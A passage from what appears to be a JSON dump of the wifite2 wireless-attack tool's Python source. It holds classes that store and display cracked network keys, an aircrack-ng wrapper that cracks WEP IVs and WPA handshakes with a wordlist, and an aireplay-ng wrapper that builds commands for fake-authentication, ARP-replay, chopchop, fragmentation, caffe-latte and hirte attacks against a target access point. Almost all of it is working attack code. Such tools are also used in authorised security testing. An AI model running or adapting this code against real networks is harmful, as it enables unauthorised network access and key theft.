'r') as fid:\n            cracked_targets = loads(fid.read())\n\n        if len(cracked_targets) == 0:\n            Color.pl('{!} {R}no results found in {O}%s{W}' % name)\n            return\n\n        Color.pl('\\n{+} Displaying {G}%d{W} cracked target(s) from {C}%s{W}\\n' % (\n            len(cracked_targets), name))\n\n        results = sorted([cls.load(item) for item in cracked_targets], key=lambda x: x.date, reverse=True)\n        longest_essid = max([len(result.essid or 'ESSID') for result in results])\n\n        # Header\n        Color.p('{D} ')\n        Color.p('ESSID'.ljust(longest_essid))\n        Color.p('  ')\n        Color.p('BSSID'.ljust(17))\n        Color.p('  ')\n        Color.p('DATE'.ljust(19))\n        Color.p('  ')\n        Color.p('TYPE'.ljust(5))\n        Color.p('  ')\n        Color.p('KEY')\n        Color.pl('{D}')\n        Color.p(' ' + '-' * (longest_essid + 17 + 19 + 5 + 11 + 12))\n        Color.pl('{W}')\n        # Results\n        for result in results:\n            result.print_single_line(longest_essid)\n        Color.pl('')\n\n\n    @classmethod\n    def load_all(cls):\n        if not os.path.exists(cls.cracked_file): return []\n        with open(cls.cracked_file, 'r') as json_file:\n            json = loads(json_file.read())\n        return json\n\n    @staticmethod\n    def load(json):\n        ''' Returns an instance of the appropriate object given a json instance '''\n        if json['type'] == 'WPA':\n            from .wpa_result import CrackResultWPA\n            result = CrackResultWPA(json['bssid'],\n                                    json['essid'],\n                                    json['handshake_file'],\n                                    json['key'])\n        elif json['type'] == 'WEP':\n            from .wep_result import CrackResultWEP\n            result = CrackResultWEP(json['bssid'],\n                                    json['essid'],\n                                    json['hex_key'],\n                                    json['ascii_key'])\n\n        elif json['type'] == 'WPS':\n            from .wps_result import CrackResultWPS\n            result = CrackResultWPS(json['bssid'],\n                                    json['essid'],\n                                    json['pin'],\n                                    json['psk'])\n\n        elif json['type'] == 'PMKID':\n            from .pmkid_result import CrackResultPMKID\n            result = CrackResultPMKID(json['bssid'],\n                                      json['essid'],\n                                      json['pmkid_file'],\n                                      json['key'])\n        result.date = json['date']\n        result.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.date))\n        return result\n\nif __name__ == '__main__':\n    # Deserialize WPA object\n    Color.pl('\\nCracked WPA:')\n    json = loads('{\"bssid\": \"AA:BB:CC:DD:EE:FF\", \"essid\": \"Test Router\", \"key\": \"Key\", \"date\": 1433402428, \"handshake_file\": \"hs/capfile.cap\", \"type\": \"WPA\"}')\n    obj = CrackResult.load(json)\n    obj.dump()\n\n    # Deserialize WEP object\n    Color.pl('\\nCracked WEP:')\n    json = loads('{\"bssid\": \"AA:BB:CC:DD:EE:FF\", \"hex_key\": \"00:01:02:03:04\", \"ascii_key\": \"abcde\", \"essid\": \"Test Router\", \"date\": 1433402915, \"type\": \"WEP\"}')\n    obj = CrackResult.load(json)\n    obj.dump()\n\n    # Deserialize WPS object\n    Color.pl('\\nCracked WPS:')\n    json = loads('{\"psk\": \"the psk\", \"bssid\": \"AA:BB:CC:DD:EE:FF\", \"pin\": \"01234567\", \"essid\": \"Test Router\", \"date\": 1433403278, \"type\": \"WPS\"}')\n    obj = CrackResult.load(json)\n    obj.dump()\n"
  },
  {
    "path": "wifite/model/target.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\n\nimport re\n\n\nclass WPSState:\n    NONE, UNLOCKED, LOCKED, UNKNOWN = range(0, 4)\n\n\nclass Target(object):\n    '''\n        Holds details for a 'Target' aka Access Point (e.g. router).\n    '''\n\n    def __init__(self, fields):\n        '''\n            Initializes & stores target info based on fields.\n            Args:\n                Fields - List of strings\n                INDEX KEY             EXAMPLE\n                    0 BSSID           (00:1D:D5:9B:11:00)\n                    1 First time seen (2015-05-27 19:28:43)\n                    2 Last time seen  (2015-05-27 19:28:46)\n                    3 channel         (6)\n                    4 Speed           (54)\n                    5 Privacy         (WPA2)\n                    6 Cipher          (CCMP TKIP)\n                    7 Authentication  (PSK)\n                    8 Power           (-62)\n                    9 beacons         (2)\n                    10 # IV           (0)\n                    11 LAN IP         (0.  0.  0.  0)\n                    12 ID-length      (9)\n                    13 ESSID          (HOME-ABCD)\n                    14 Key            ()\n        '''\n        self.bssid      =     fields[0].strip()\n        self.channel    =     fields[3].strip()\n\n        self.encryption =     fields[5].strip()\n        if 'WPA' in self.encryption:\n            self.encryption = 'WPA'\n        elif 'WEP' in self.encryption:\n            self.encryption = 'WEP'\n        if len(self.encryption) > 4:\n            self.encryption = self.encryption[0:4].strip()\n\n        self.power      = int(fields[8].strip())\n        if self.power < 0:\n            self.power += 100\n\n        self.beacons    = int(fields[9].strip())\n        self.ivs        = int(fields[10].strip())\n\n        self.essid_known = True\n        self.essid_len   = int(fields[12].strip())\n        self.essid       =     fields[13]\n        if self.essid == '\\\\x00' * self.essid_len or \\\n                self.essid == 'x00' * self.essid_len or \\\n                self.essid.strip() == '':\n            # Don't display '\\x00...' for hidden ESSIDs\n            self.essid = None # '(%s)' % self.bssid\n            self.essid_known = False\n\n        self.wps = WPSState.UNKNOWN\n\n        self.decloaked = False # If ESSID was hidden but we decloaked it.\n\n        self.clients = []\n\n        self.validate()\n\n    def validate(self):\n        ''' Checks that the target is valid. '''\n        if self.channel == '-1':\n            raise Exception('Ignoring target with Negative-One (-1) channel')\n\n        # Filter broadcast/multicast BSSIDs, see https://github.com/derv82/wifite2/issues/32\n        bssid_broadcast = re.compile(r'^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$', re.IGNORECASE)\n        if bssid_broadcast.match(self.bssid):\n            raise Exception('Ignoring target with Broadcast BSSID (%s)' % self.bssid)\n\n        bssid_multicast = re.compile(r'^(01:00:5e|01:80:c2|33:33)', re.IGNORECASE)\n        if bssid_multicast.match(self.bssid):\n            raise Exception('Ignoring target with Multicast BSSID (%s)' % self.bssid)\n\n    def to_str(self, show_bssid=False):\n        '''\n            *Colored* string representation of this Target.\n            Specifically formatted for the 'scanning' table view.\n        '''\n\n        max_essid_len = 24\n        essid = self.essid if self.essid_known else '(%s)' % self.bssid\n        # Trim ESSID (router name) if needed\n        if len(essid) > max_essid_len:\n            essid = essid[0:max_essid_len-3] + '...'\n        else:\n            essid = essid.rjust(max_essid_len)\n\n        if self.essid_known:\n            # Known ESSID\n            essid = Color.s('{C}%s' % essid)\n        else:\n            # Unknown ESSID\n            essid = Color.s('{O}%s' % essid)\n\n        # Add a '*' if we decloaked the ESSID\n        decloaked_char = '*' if self.decloaked else ' '\n        essid += Color.s('{P}%s' % decloaked_char)\n\n        if show_bssid:\n            bssid = Color.s('{O}%s  ' % self.bssid)\n        else:\n            bssid = ''\n\n        channel_color = '{G}'\n        if int(self.channel) > 14:\n            channel_color = '{C}'\n        channel = Color.s('%s%s' % (channel_color, str(self.channel).rjust(3)))\n\n        encryption = self.encryption.rjust(4)\n        if 'WEP' in encryption:\n            encryption = Color.s('{G}%s' % encryption)\n        elif 'WPA' in encryption:\n            encryption = Color.s('{O}%s' % encryption)\n\n        power = '%sdb' % str(self.power).rjust(3)\n        if self.power > 50:\n            color ='G'\n        elif self.power > 35:\n            color = 'O'\n        else:\n            color = 'R'\n        power = Color.s('{%s}%s' % (color, power))\n\n        if self.wps == WPSState.UNLOCKED:\n            wps = Color.s('{G} yes')\n        elif self.wps == WPSState.NONE:\n            wps = Color.s('{O}  no')\n        elif self.wps == WPSState.LOCKED:\n            wps = Color.s('{R}lock')\n        elif self.wps == WPSState.UNKNOWN:\n            wps = Color.s('{O} n/a')\n\n        clients = '       '\n        if len(self.clients) > 0:\n            clients = Color.s('{G}  ' + str(len(self.clients)))\n\n        result = '%s  %s%s  %s  %s  %s  %s' % (\n                essid, bssid, channel, encryption, power, wps, clients)\n        result += Color.s('{W}')\n        return result\n\n\nif __name__ == '__main__':\n    fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')\n    t = Target(fields)\n    t.clients.append('asdf')\n    t.clients.append('asdf')\n    print(t.to_str())\n\n"
  },
  {
    "path": "wifite/model/wep_result.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom .result import CrackResult\n\nimport time\n\nclass CrackResultWEP(CrackResult):\n    def __init__(self, bssid, essid, hex_key, ascii_key):\n        self.result_type = 'WEP'\n        self.bssid     = bssid\n        self.essid     = essid\n        self.hex_key   = hex_key\n        self.ascii_key = ascii_key\n        super(CrackResultWEP, self).__init__()\n\n    def dump(self):\n        if self.essid:\n            Color.pl('{+}      ESSID: {C}%s{W}' % self.essid)\n        Color.pl('{+}      BSSID: {C}%s{W}' % self.bssid)\n        Color.pl('{+} Encryption: {C}%s{W}' % self.result_type)\n        Color.pl('{+}    Hex Key: {G}%s{W}' % self.hex_key)\n        if self.ascii_key:\n            Color.pl('{+}  Ascii Key: {G}%s{W}' % self.ascii_key)\n\n    def print_single_line(self, longest_essid):\n        self.print_single_line_prefix(longest_essid)\n        Color.p('{G}%s{W}' % 'WEP'.ljust(5))\n        Color.p('  ')\n        Color.p('Hex: {G}%s{W}' % self.hex_key.replace(':', ''))\n        if self.ascii_key:\n            Color.p(' (ASCII: {G}%s{W})' % self.ascii_key)\n        Color.pl('')\n\n    def to_dict(self):\n        return {\n            'type'      : self.result_type,\n            'date'      : self.date,\n            'essid'     : self.essid,\n            'bssid'     : self.bssid,\n            'hex_key'   : self.hex_key,\n            'ascii_key' : self.ascii_key\n        }\n\nif __name__ == '__main__':\n    crw = CrackResultWEP('AA:BB:CC:DD:EE:FF', 'Test Router', '00:01:02:03:04', 'abcde')\n    crw.dump()\n    crw.save()\n\n"
  },
  {
    "path": "wifite/model/wpa_result.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom .result import CrackResult\n\nclass CrackResultWPA(CrackResult):\n    def __init__(self, bssid, essid, handshake_file, key):\n        self.result_type = 'WPA'\n        self.bssid = bssid\n        self.essid = essid\n        self.handshake_file = handshake_file\n        self.key = key\n        super(CrackResultWPA, self).__init__()\n\n    def dump(self):\n        if self.essid:\n            Color.pl('{+} %s: {C}%s{W}' %\n                ('Access Point Name'.rjust(19), self.essid))\n        if self.bssid:\n            Color.pl('{+} %s: {C}%s{W}' %\n                ('Access Point BSSID'.rjust(19), self.bssid))\n        Color.pl('{+} %s: {C}%s{W}' %\n            ('Encryption'.rjust(19), self.result_type))\n        if self.handshake_file:\n            Color.pl('{+} %s: {C}%s{W}' %\n                ('Handshake File'.rjust(19), self.handshake_file))\n        if self.key:\n            Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))\n        else:\n            Color.pl('{!} %s  {O}key unknown{W}' % ''.rjust(19))\n\n    def print_single_line(self, longest_essid):\n        self.print_single_line_prefix(longest_essid)\n        Color.p('{G}%s{W}' % 'WPA'.ljust(5))\n        Color.p('  ')\n        Color.p('Key: {G}%s{W}' % self.key)\n        Color.pl('')\n\n    def to_dict(self):\n        return {\n            'type'  : self.result_type,\n            'date'  : self.date,\n            'essid' : self.essid,\n            'bssid' : self.bssid,\n            'key'   : self.key,\n            'handshake_file' : self.handshake_file\n        }\n\nif __name__ == '__main__':\n    w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'abcd1234')\n    w.dump()\n\n    w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'Key')\n    print('\\n')\n    w.dump()\n    w.save()\n    print(w.__dict__['bssid'])\n\n"
  },
  {
    "path": "wifite/model/wps_result.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom ..model.result import CrackResult\n\nimport time\n\nclass CrackResultWPS(CrackResult):\n    def __init__(self, bssid, essid, pin, psk):\n        self.result_type = 'WPS'\n        self.bssid = bssid\n        self.essid = essid\n        self.pin   = pin\n        self.psk   = psk\n        super(CrackResultWPS, self).__init__()\n\n    def dump(self):\n        if self.essid is not None:\n            Color.pl('{+} %s: {C}%s{W}' % (      'ESSID'.rjust(12), self.essid))\n        if self.psk is None:\n            psk = '{O}N/A{W}'\n        else:\n            psk = '{G}%s{W}' % self.psk\n        Color.pl('{+} %s: {C}%s{W}'     % (      'BSSID'.rjust(12), self.bssid))\n        Color.pl('{+} %s: {C}WPA{W} ({C}WPS{W})' % 'Encryption'.rjust(12))\n        Color.pl('{+} %s: {G}%s{W}'     % (     'WPS PIN'.rjust(12), self.pin))\n        Color.pl('{+} %s: {G}%s{W}'     % ('PSK/Password'.rjust(12), psk))\n\n    def print_single_line(self, longest_essid):\n        self.print_single_line_prefix(longest_essid)\n        Color.p('{G}%s{W}' % 'WPS'.ljust(5))\n        Color.p('  ')\n        if self.psk:\n            Color.p('Key: {G}%s{W} ' % self.psk)\n        Color.p('PIN: {G}%s{W}' % self.pin)\n        Color.pl('')\n\n    def to_dict(self):\n        return {\n            'type'  : self.result_type,\n            'date'  : self.date,\n            'essid' : self.essid,\n            'bssid' : self.bssid,\n            'pin'   : self.pin,\n            'psk'   : self.psk\n        }\n\nif __name__ == '__main__':\n    crw = CrackResultWPS('AA:BB:CC:DD:EE:FF', 'Test Router', '01234567', 'the psk')\n    crw.dump()\n    crw.save()\n\n"
  },
  {
    "path": "wifite/tools/__init__.py",
    "content": ""
  },
  {
    "path": "wifite/tools/aircrack.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..util.process import Process\nfrom ..util.input import xrange\nfrom ..config import Configuration\n\nimport os\nimport re\n\nclass Aircrack(Dependency):\n    dependency_required = True\n    dependency_name = 'aircrack-ng'\n    dependency_url = 'https://www.aircrack-ng.org/install.html'\n\n    def __init__(self, ivs_file=None):\n\n        self.cracked_file = os.path.abspath(\n                os.path.join(\n                    Configuration.temp(), 'wepkey.txt'))\n\n        # Delete previous cracked files\n        if os.path.exists(self.cracked_file):\n            os.remove(self.cracked_file)\n\n        command = [\n            'aircrack-ng',\n            '-a', '1',\n            '-l', self.cracked_file,\n        ]\n        if type(ivs_file) is str:\n            ivs_file = [ivs_file]\n\n        command.extend(ivs_file)\n\n        self.pid = Process(command, devnull=True)\n\n\n    def is_running(self):\n        return self.pid.poll() is None\n\n    def is_cracked(self):\n        return os.path.exists(self.cracked_file)\n\n    def stop(self):\n        ''' Stops aircrack process '''\n        if self.pid.poll() is None:\n            self.pid.interrupt()\n\n    def get_key_hex_ascii(self):\n        if not self.is_cracked():\n            raise Exception('Cracked file not found')\n\n        with open(self.cracked_file, 'r') as fid:\n            hex_raw = fid.read()\n\n        return self._hex_and_ascii_key(hex_raw)\n\n    @staticmethod\n    def _hex_and_ascii_key(hex_raw):\n        hex_chars = []\n        ascii_key = ''\n        for index in xrange(0, len(hex_raw), 2):\n            byt = hex_raw[index:index+2]\n            hex_chars.append(byt)\n            byt_int = int(byt, 16)\n            if byt_int < 32 or byt_int > 127 or ascii_key is None:\n                ascii_key = None  # Not printable\n            else:\n                ascii_key += chr(byt_int)\n\n        hex_key = ':'.join(hex_chars)\n\n        return (hex_key, ascii_key)\n\n    def __del__(self):\n        if os.path.exists(self.cracked_file):\n            os.remove(self.cracked_file)\n\n\n    @staticmethod\n    def crack_handshake(handshake, show_command=False):\n        from ..util.color import Color\n        from ..util.timer import Timer\n        '''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''\n\n        key_file = Configuration.temp('wpakey.txt')\n        command = [\n            'aircrack-ng',\n            '-a', '2',\n            '-w', Configuration.wordlist,\n            '--bssid', handshake.bssid,\n            '-l', key_file,\n            handshake.capfile\n        ]\n        if show_command:\n            Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))\n        crack_proc = Process(command)\n\n        # Report progress of cracking\n        aircrack_nums_re = re.compile(r'(\\d+)/(\\d+) keys tested.*\\(([\\d.]+)\\s+k/s')\n        aircrack_key_re  = re.compile(r'Current passphrase:\\s*([^\\s].*[^\\s])\\s*$')\n        num_tried = num_total = 0\n        percent = num_kps = 0.0\n        eta_str = 'unknown'\n        current_key = ''\n        while crack_proc.poll() is None:\n            line = crack_proc.pid.stdout.readline()\n            match_nums = aircrack_nums_re.search(line.decode('utf-8'))\n            match_keys = aircrack_key_re.search(line.decode('utf-8'))\n            if match_nums:\n                num_tried = int(match_nums.group(1))\n                num_total = int(match_nums.group(2))\n                num_kps = float(match_nums.group(3))\n                eta_seconds = (num_total - num_tried) / num_kps\n                eta_str = Timer.secs_to_str(eta_seconds)\n                percent = 100.0 * float(num_tried) / float(num_total)\n            elif match_keys:\n                current_key = match_keys.group(1)\n            else:\n                continue\n\n            status = '\\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}' % percent\n            status += ' ETA: {C}%s{W}' % eta_str\n            status += ' @ {C}%0.1fkps{W}' % num_kps\n            #status += ' ({C}%d{W}/{C}%d{W} keys)' % (num_tried, num_total)\n            status += ' (current key: {C}%s{W})' % current_key\n            Color.clear_entire_line()\n            Color.p(status)\n\n        Color.pl('')\n\n        # Check crack result\n        if os.path.exists(key_file):\n            with open(key_file, 'r') as fid:\n                key = fid.read().strip()\n            os.remove(key_file)\n\n            return key\n        else:\n            return None\n\n\nif __name__ == '__main__':\n    (hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1')\n    assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was \"%s\", expected \"A1:B1:C1:D1:E1\"' % hexkey\n    assert asciikey is None, 'asciikey was \"%s\", expected None' % asciikey\n\n    (hexkey, asciikey) = Aircrack._hex_and_ascii_key('6162636465')\n    assert hexkey == '61:62:63:64:65', 'hexkey was \"%s\", expected \"61:62:63:64:65\"' % hexkey\n    assert asciikey == 'abcde', 'asciikey was \"%s\", expected \"abcde\"' % asciikey\n\n    from time import sleep\n\n    Configuration.initialize(False)\n\n    ivs_file = 'tests/files/wep-crackable.ivs'\n    print('Running aircrack on %s ...' % ivs_file)\n\n    aircrack = Aircrack(ivs_file)\n    while aircrack.is_running():\n        sleep(1)\n\n    assert aircrack.is_cracked(), 'Aircrack should have cracked %s' % ivs_file\n    print('aircrack process completed.')\n\n    (hexkey, asciikey) = aircrack.get_key_hex_ascii()\n    print('aircrack found HEX key: (%s) and ASCII key: (%s)' % (hexkey, asciikey))\n    assert hexkey == '75:6E:63:6C:65', 'hexkey was \"%s\", expected \"75:6E:63:6C:65\"' % hexkey\n    assert asciikey == 'uncle', 'asciikey was \"%s\", expected \"uncle\"' % asciikey\n\n    Configuration.exit_gracefully(0)\n"
  },
  {
    "path": "wifite/tools/aireplay.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..config import Configuration\nfrom ..util.process import Process\nfrom ..util.timer import Timer\n\nimport os, time, re\nfrom threading import Thread\n\nclass WEPAttackType(object):\n    ''' Enumeration of different WEP attack types '''\n    fakeauth     = 0\n    replay       = 1\n    chopchop     = 2\n    fragment     = 3\n    caffelatte   = 4\n    p0841        = 5\n    hirte        = 6\n    forgedreplay = 7\n\n    def __init__(self, var):\n        '''\n            Sets appropriate attack name/value given an input.\n            Args:\n                var - Can be a string, number, or WEPAttackType object\n                      This object's name & value is set depending on var.\n        '''\n        self.value = None\n        self.name = None\n        if type(var) is int:\n            for (name,value) in WEPAttackType.__dict__.items():\n                if type(value) is int:\n                    if value == var:\n                        self.name = name\n                        self.value = value\n                        return\n            raise Exception('Attack number %d not found' % var)\n        elif type(var) is str:\n            for (name,value) in WEPAttackType.__dict__.items():\n                if type(value) is int:\n                    if name == var:\n                        self.name = name\n                        self.value = value\n                        return\n            raise Exception('Attack name %s not found' % var)\n        elif type(var) == WEPAttackType:\n            self.name = var.name\n            self.value = var.value\n        else:\n            raise Exception('Attack type not supported')\n\n    def __str__(self):\n        return self.name\n\n\nclass Aireplay(Thread, Dependency):\n    dependency_required = True\n    dependency_name = 'aireplay-ng'\n    dependency_url = 'https://www.aircrack-ng.org/install.html'\n\n    def __init__(self, target, attack_type, client_mac=None, replay_file=None):\n        '''\n            Starts aireplay process.\n            Args:\n                target - Instance of Target object, AP to attack.\n                attack_type - str, e.g. 'fakeauth', 'arpreplay', etc.\n                client_mac - MAC address of an associated client.\n        '''\n        super(Aireplay, self).__init__() # Init the parent Thread\n\n        self.target = target\n        self.output_file = Configuration.temp('aireplay_%s.output' % attack_type)\n        self.attack_type = WEPAttackType(attack_type).value\n        self.error = None\n        self.status = None\n        self.cmd = Aireplay.get_aireplay_command(self.target,\n                                            attack_type,\n                                            client_mac=client_mac,\n                                            replay_file=replay_file)\n        self.pid = Process(self.cmd,\n                stdout=open(self.output_file, 'a'),\n                stderr=Process.devnull(),\n                cwd=Configuration.temp())\n        self.start()\n\n    def is_running(self):\n        return self.pid.poll() is None\n\n    def stop(self):\n        ''' Stops aireplay process '''\n        if hasattr(self, 'pid') and self.pid and self.pid.poll() is None:\n            self.pid.interrupt()\n\n    def get_output(self):\n        ''' Returns stdout from aireplay process '''\n        return self.stdout\n\n    def run(self):\n        self.stdout = ''\n        self.xor_percent = '0%'\n        while self.pid.poll() is None:\n            time.sleep(0.1)\n            if not os.path.exists(self.output_file): continue\n            # Read output file & clear output file\n            with open(self.output_file, 'r+') as fid:\n                lines = fid.read()\n                self.stdout += lines\n                fid.seek(0)\n                fid.truncate()\n\n            if Configuration.verbose > 1 and lines.strip() != '':\n                from ..util.color import Color\n                Color.pl('\\n{P} [?] aireplay output:\\n     %s{W}' % lines.strip().replace('\\n', '\\n     '))\n\n            for line in lines.split('\\n'):\n                line = line.replace('\\r', '').strip()\n                if line == '': continue\n                if 'Notice: got a deauth/disassoc packet' in line:\n                    self.error = 'Not associated (needs fakeauth)'\n\n                if self.attack_type == WEPAttackType.fakeauth:\n                    # Look for fakeauth status. Potential Output lines:\n                    # (START): 00:54:58  Sending Authentication Request (Open System)\n                    if 'Sending Authentication Request ' in line:\n                        self.status = None # Reset\n                    # (????):  Please specify an ESSID (-e).\n                    elif 'Please specify an ESSID' in line:\n                        self.status = None\n                    # (FAIL):  00:57:43  Got a deauthentication packet! (Waiting 3 seconds)\n                    elif 'Got a deauthentication packet!' in line:\n                        self.status = False\n                    # (PASS):  20:17:25  Association successful :-) (AID: 1)\n                    # (PASS):  20:18:55  Reassociation successful :-) (AID: 1)\n                    elif 'association successful :-)' in line.lower():\n                        self.status = True\n                elif self.attack_type == WEPAttackType.chopchop:\n                    # Look for chopchop status. Potential output lines:\n\n                    # (START)  Read 178 packets...\n                    read_re = re.compile(r'Read (\\d+) packets')\n                    matches = read_re.match(line)\n                    if matches:\n                        self.status = 'Waiting for packet (read %s)...' % matches.group(1)\n\n                    # Sent 1912 packets, current guess: 70...\n                    sent_re = re.compile(r'Sent (\\d+) packets, current guess: (\\w+)...')\n                    matches = sent_re.match(line)\n                    if matches:\n                        self.status = 'Generating .xor (%s)... current guess: %s' % (self.xor_percent, matches.group(2))\n\n                    # (DURING) Offset   52 (54% done) | xor = DE | pt = E0 |  152 frames written in  2782ms\n                    offset_re = re.compile(r'Offset.*\\(\\s*(\\d+%) done\\)')\n                    matches = offset_re.match(line)\n                    if matches:\n                        self.xor_percent = matches.group(1)\n                        self.status = 'Generating .xor (%s)...' % self.xor_percent\n\n                    # (DONE)   Saving keystream in replay_dec-0516-202246.xor\n                    saving_re = re.compile(r'Saving keystream in (.*\\.xor)')\n                    matches = saving_re.match(line)\n                    if matches:\n                        self.status = matches.group(1)\n\n                    # (ERROR) fakeauth required\n                    if 'try running aireplay-ng in authenticated mode' in line:\n                        self.status = 'fakeauth is required and you are not authenticated'\n\n                elif self.attack_type == WEPAttackType.fragment:\n                    # Parse fragment output, update self.status\n\n                    # (START)  Read 178 packets...\n                    read_re = re.compile(r'Read (\\d+) packets')\n                    matches = read_re.match(line)\n                    if matches:\n                        self.status = 'Waiting for packet (read %s)...' % matches.group(1)\n\n                    # 01:08:15  Waiting for a data packet...\n                    if 'Waiting for a data packet' in line:\n                        self.status = 'waiting for packet'\n\n                    # Read 207 packets...\n                    trying_re = re.compile(r'Trying to get (\\d+) bytes of a keystream')\n                    matches = trying_re.match(line)\n                    if matches:\n                        self.status = 'trying to get %sb of a keystream' % matches.group(1)\n\n                    # 01:08:17  Sending fragmented packet\n                    if 'Sending fragmented packet' in line:\n                        self.status = 'sending packet'\n\n                    # 01:08:37  Still nothing, trying another packet...\n                    if 'Still nothing, trying another packet' in line:\n                        self.status = 'sending another packet'\n\n                    # XX:XX:XX  Trying to get 1500 bytes of a keystream\n                    trying_re = re.compile(r'Trying to get (\\d+) bytes of a keystream')\n                    matches = trying_re.match(line)\n                    if matches:\n                        self.status = 'trying to get %sb of a keystream' % matches.group(1)\n\n                    # XX:XX:XX  Got RELAYED packet!!\n                    if 'Got RELAYED packet' in line:\n                        self.status = 'got relayed packet'\n\n                    # XX:XX:XX  That's our ARP packet!\n                    if 'Thats our ARP packet' in line:\n                        self.status = 'relayed packet was our'\n\n                    # XX:XX:XX  Saving keystream in fragment-0124-161129.xor\n                    saving_re = re.compile(r'Saving keystream in (.*\\.xor)')\n                    matches = saving_re.match(line)\n                    if matches:\n                        self.status = 'saving keystream to %s' % matches.group(1)\n\n                    # XX:XX:XX  Now you can build a packet with packetforge-ng out of that 1500 bytes keystream\n\n                else: # Replay, forged replay, etc.\n                    # Parse Packets Sent & PacketsPerSecond. Possible output lines:\n                    # Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)\n                    # Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)\n                    read_re = re.compile(r'Read (\\d+) packets \\(got (\\d+) ARP requests and (\\d+) ACKs\\), sent (\\d+) packets...\\((\\d+) pps\\)')\n                    matches = read_re.match(line)\n                    if matches:\n                        pps = matches.group(5)\n                        if pps == '0':\n                            self.status = 'Waiting for packet...'\n                        else:\n                            self.status = 'Replaying @ %s/sec' % pps\n                    pass\n\n    def __del__(self):\n        self.stop()\n\n    @staticmethod\n    def get_aireplay_command(target, attack_type,\n                             client_mac=None, replay_file=None):\n        '''\n            Generates aireplay command based on target and attack type\n            Args:\n                target      - Instance of Target object, AP to attack.\n                attack_type - int, str, or WEPAttackType instance.\n                client_mac  - MAC address of an associated client.\n                replay_file - .Cap file to replay via --arpreplay\n        '''\n\n        # Interface is required at this point\n        Configuration.initialize()\n        if Configuration.interface is None:\n            raise Exception('Wireless interface must be defined (-i)')\n\n        cmd = ['aireplay-ng']\n        cmd.append('--ignore-negative-one')\n\n        if client_mac is None and len(target.clients) > 0:\n            # Client MAC wasn't specified, but there's an associated client. Use that.\n            client_mac = target.clients[0].station\n\n        # type(attack_type) might be str, int, or WEPAttackType.\n        # Find the appropriate attack enum.\n        attack_type = WEPAttackType(attack_type).value\n\n        if attack_type == WEPAttackType.fakeauth:\n            cmd.extend([\n                '--fakeauth', '30', # Fake auth every 30 seconds\n                '-Q', # Send re-association packets\n                '-a', target.bssid\n            ])\n            if target.essid_known:\n                cmd.extend(['-e', target.essid])\n        elif attack_type == WEPAttackType.replay:\n            cmd.extend([\n                '--arpreplay',\n                '-b', target.bssid,\n                '-x', str(Configuration.wep_pps)\n            ])\n            if client_mac:\n                cmd.extend(['-h', client_mac])\n\n        elif attack_type == WEPAttackType.chopchop:\n            cmd.extend([\n                '--chopchop',\n                '-b', target.bssid,\n                '-x', str(Configuration.wep_pps),\n                #'-m', '60', # Minimum packet length (bytes)\n                #'-n', '82', # Maximum packet length\n                '-F'        # Automatically choose first packet\n            ])\n            if client_mac:\n                cmd.extend(['-h', client_mac])\n\n        elif attack_type == WEPAttackType.fragment:\n            cmd.extend([\n                '--fragment',\n                '-b', target.bssid,\n                '-x', str(Configuration.wep_pps),\n                '-m', '100', # Minimum packet length (bytes)\n                '-F'         # Automatically choose first packet\n            ])\n            if client_mac:\n                cmd.extend(['-h', client_mac])\n\n        elif attack_type == WEPAttackType.caffelatte:\n            if len(target.clients) == 0:\n                # Unable to carry out caffe-latte attack\n                raise Exception('Client is required for caffe-latte attack')\n            cmd.extend([\n                '--caffe-latte',\n                '-b', target.bssid,\n                '-h', target.clients[0].station\n            ])\n\n        elif attack_type == WEPAttackType.p0841:\n            cmd.extend([\n                '--arpreplay',\n                '-b', target.bssid,\n                '-c', 'ff:ff:ff:ff:ff:ff',\n                '-x', str(Configuration.wep_pps),\n                '-F', # Automatically choose first packet\n                '-p', '0841'\n            ])\n            if client_mac:\n                cmd.extend(['-h', client_mac])\n\n        elif attack_type == WEPAttackType.hirte:\n            if client_mac is None:\n                # Unable to carry out hirte attack\n                raise Exception('Client is required for hirte attack')\n            cmd.extend([\n                '--cfrag',\n                '-h', client_mac\n            ])\n        elif attack_type == WEPAttackType.forgedreplay:\n            if client_mac is None or replay_file is None:\n                raise Exception('Client_mac and Replay_File are required for arp replay')\n            cmd.extend([\n                '--arpreplay',\n                '-b', target.bssid,\n                '-h', client_mac,\n                '-r', replay_file,\n                '-F', # Automatically choose first packet\n                '-x', str(Configuration.wep_pps)\n            ])\n        else:\n            raise Exception('Unexpected attack type: %s' % attack_type)\n\n        cmd.append(Configuration.interface)\n        return cmd\n\n    @staticmethod\n    def get_xor():\n        ''' Finds the last .xor file in the directory '''\n        xor = None\n        for fil in os.listdir(Configuration.temp()):\n            if fil.startswith('replay_') and fil.endswith('.xor') or \\\n               fil.startswith('fragment-') and fil.endswith('.xor'):\n                xor = fil\n        return xor\n\n    @staticmethod\n    def forge_packet(xor_file, bssid, station_mac):\n        ''' Forges packet from .xor file '''\n        forged_file = 'forged.cap'\n        cmd = [\n            'packetforge-ng',\n            '-0',\n            '-a', bssid,           # Target 